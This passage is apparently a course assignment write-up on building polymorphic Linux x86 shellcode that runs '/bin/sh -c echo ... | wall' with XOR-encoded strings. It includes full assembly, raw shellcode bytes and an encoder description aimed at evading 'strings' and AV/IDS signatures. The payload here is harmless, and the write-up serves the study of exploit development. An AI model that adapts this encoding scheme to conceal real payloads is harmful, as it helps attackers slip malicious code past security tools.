Still, we want to use a polymorphic variant of the used shellcode. I’ve used the JMP/CALL/POP method for referencing strings used in the shellcode. Although this doesn’t use any PUSH techniques, it doesn’t obfuscate or “hide” the used strings in any way.
Simply using the command “strings” already displays a part of the used strings.
For this reason we’ll also show some XOR techniques which might assist in obfuscating payloads. However, don’t rely on it too much due to AV/IDS vendors checking on specific XOR actions as we’ll see later when checking for AV signatures.
Compile ASM
$ ../compile_asm.sh asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
Running
$ ./asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop
Segmentation fault (core dumped)
Running the ASM compiled file generates a segfault due to permissions of the .text area of the binary. The segfault is generated when trying to write a byte during the XOR-decoding loop in a read-only text area.
When dumping the shellcode by using the convert script and compiling it as a C binary, the segfault doesn’t occur due to the data section being correctly mapped by the C compiler.
Using strings
$ strings asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt
Rhwallh! | hODORhDORHhORHOh HODhecho
Rfh-c
Rh//shh/bin
RVQS
$ strings ./asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop
Rfh-c
+[RVQS
& +,c
bc?c4"//C
/bin/sh
Using a XOR encoding and decoding schema
For this assignment I’ve written a python encoder script for encoding the given input by XOR’ing it with a given character. Decoding is performed during execution of the shellcode, which causes issues as stated earlier when trying to write regions that are read-only.
Although XOR’ing with a static key isn’t much of an obfuscation and would probably get flagged by some IDS/IPS’es, it does a fair job of hiding payload a bit more. Do not rely on it for serious evasion techniques.
I’ve converted the script with several JMP/POP/CALL statements, but mainly just for two arguments:
– The to be displayed string execute via wall
– The ‘/bin/sh’ variable
Basicly the most important part is the decode and decoder functionality which decodes the string for the given registry, byte for byte with a static value. The “continue” function decides which jump to make, based on the length of the decoded string. I could have used a regular loop which automatically decrements CX for counting, but handling with multiple arguments I decided to use a JZ (Jump if zero flag set) when the string terminates.
Because the XOR encoding script uses a string-terminator NULL as end of the string, the last character is in fact the encoding byte itself. This is due to (encoding_byte) ^ (string_terminator) == 0, thus XOR’ing a byte with itself generates a NULL
Decoding functions
decoder:
pop edi ; Pop the address on stack after return from function into EDI
xor ecx, ecx ; Clear reg for counting
decode:
xor byte [edi], 0x43 ; XOR the current byte with a value
jz continue ; If end of string is detected, jump to continue
inc ecx ; Increase counter
inc edi ; Go to next character
jmp short decode ; Repeat function
continue:
sub edi, ecx ; Realign position of string, decremented by used counter
cmp cx, lenarg2-1 ; Check if second argument equals to length of counter, minus 1 for string termination
jne append1 ; If equal, jump to second argument section
Generating an encoded string
$ python ../string_xor_asmhex.py
Outputs the given string in reverse ASM hex
Usage: ../string_xor_asmhex.py <string> <encoding_char>
$ python ../string_xor_asmhex.py "echo HODORHODORHODOR! | wall" C
String length: 28: excluding NULL-terminator
Encoding byte: C = 0x43
ASM XOR encoded hex [0x01, 0x02, ...] format
0x26, 0x20, 0x2b, 0x2c, 0x63, 0xb, 0xc, 0x7, 0xc, 0x11, 0xb, 0xc, 0x7, 0xc, 0x11, 0xb, 0xc, 0x7, 0xc, 0x11, 0x62, 0x63, 0x3f, 0x63, 0x34, 0x22, 0x2f, 0x2f, 0x43
Pasting the output in ASM, recompile and generate shellcode
$ ../compile_asm.sh asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop-xor
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ ../convert_bin_sc.sh asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop-xor
"\x6a\x0b\x58\x99\xeb\x29\x5f\x31\xc9\x80\x37\x43\x74\x04\x41\x47\xeb\xf7\x29\xcf\x66\x83\xf9\x1c\x75\x04\x89\xfe\xeb\x33\x89\xfb\x52\x66\x68\x2d\x63\x89\xe1\x52\x56\x51\x53\x89\xe1\xcd\x80\xe8\xd2\xff\xff\xff\x26\x20\x2b\x2c\x63\x0b\x0c\x07\x0c\x11\x0b\x0c\x07\x0c\x11\x0b\x0c\x07\x0c\x11\x62\x63\x3f\x63\x34\x22\x2f\x2f\x43\xe8\xb0\xff\xff\xff\x6c\x21\x2a\x2d\x6c\x30\x2b\x43"
Compiling it as C and run it
When running the C compiled version, a shellcode length of 94 is shown, being 34 bytes larger than the original shellcode but below the 150% larger limit of 107 bytes.
Effectively, seeing the string “HODORHODORHODOR!” (16 bytes) is larger than the original string “Phuck3d!” (8 bytes), the difference using the original string would be 86 bytes: 26 bytes larger.
$ ../compile_c.sh asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop-xor-c
[+] Compiling ...
[+] Done!
$ ./asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop-xor-c
Shellcode Length: 94
Broadcast Message from ???@stud
(/dev/pts/0) at 22:11 ...
HODORHODORHODOR!
Full final ASM file
global _start
section .text
; execve("/bin//sh", ["/bin//sh", "-c", "echo HODORHODORHODOR! | wall"], [/* 0 vars */])
_start:
; sys_execve 0x0b
; int execve(const char *filename, char *const argv[], char *const envp[]);
push 0xb ; sys_execve call 0x0b
pop eax ; Put into EAX
cdq ; Put 0 into EDX using the signed bit from EAX
; String reference jmp/call/pop
jmp arg2 ; Jump to second argument string
decoder:
pop edi ; Pop the address on stack after return from function into EDI
xor ecx, ecx ; Clear reg for counting
decode:
xor byte [edi], 0x43 ; XOR the current byte with a value
jz continue ; If end of string is detected, jump to continue
inc ecx ; Increase counter
inc edi ; Go to next character
jmp short decode ; Repeat function
continue:
sub edi, ecx ; Realign position of string, decremented by used counter
cmp cx, lenarg2-1 ; Check if second argument equals to length of counter, minus 1 for string termination
jne append1 ; If equal, jump to second argument section
append2:
mov esi, edi ; Move XOR decoded string in ESI for second argument
; '/bin/sh'
jmp arg1 ; Jump to first argument string
append1:
mov ebx, edi ; Move XOR decoded string in EBX for first argument
; '-c'
push edx ; Terminate string with NULL
push word 0x632d ; '-c'
mov ecx,esp ; Put reference for string pointing by stackpointer, into ECX
; Push registers
push edx ; Terminate string with NULL
push esi ; Push second argument
push ecx ; Push '-c' string
push ebx ; Push first argument '/bin/sh' string
mov ecx,esp ; Put reference to all strings into ECX, pointed by stackpointer
int 0x80 ; syscall
arg2:
call decoder ; Go to decoder
; Original string and hex encoded string
; argstr2: db "echo HODORHODORHODOR! | wall", 0
; argstr2: db 0x65, 0x63, 0x68, 0x6f, 0x20, 0x48, 0x4f, 0x44, 0x4f, 0x52, 0x48, 0x4f, 0x44, 0x4f, 0x52, 0x48, 0x4f, 0x44, 0x4f, 0x52, 0x21, 0x20, 0x7c, 0x20, 0x77, 0x61, 0x6c, 0x6c, 0
; Generated from command:
; python ../string_xor_asmhex.py "echo HODORHODORHODOR! | wall" C
; String XOR encoded with byte 0x43, terminated with 0
argstr2: db 0x26, 0x20, 0x2b, 0x2c, 0x63, 0xb, 0xc, 0x7, 0xc, 0x11, 0xb, 0xc, 0x7, 0xc, 0x11, 0xb, 0xc, 0x7, 0xc, 0x11, 0x62, 0x63, 0x3f, 0x63, 0x34, 0x22, 0x2f, 0x2f, 0x43
lenarg2 equ $-argstr2 ; Variable for stringlength
arg1:
call decoder ; Go to decoder
argstr1: db 0x6c, 0x21, 0x2a, 0x2d, 0x6c, 0x30, 0x2b, 0x43
lenarg1 equ $-argstr1 ; Variable for stringlength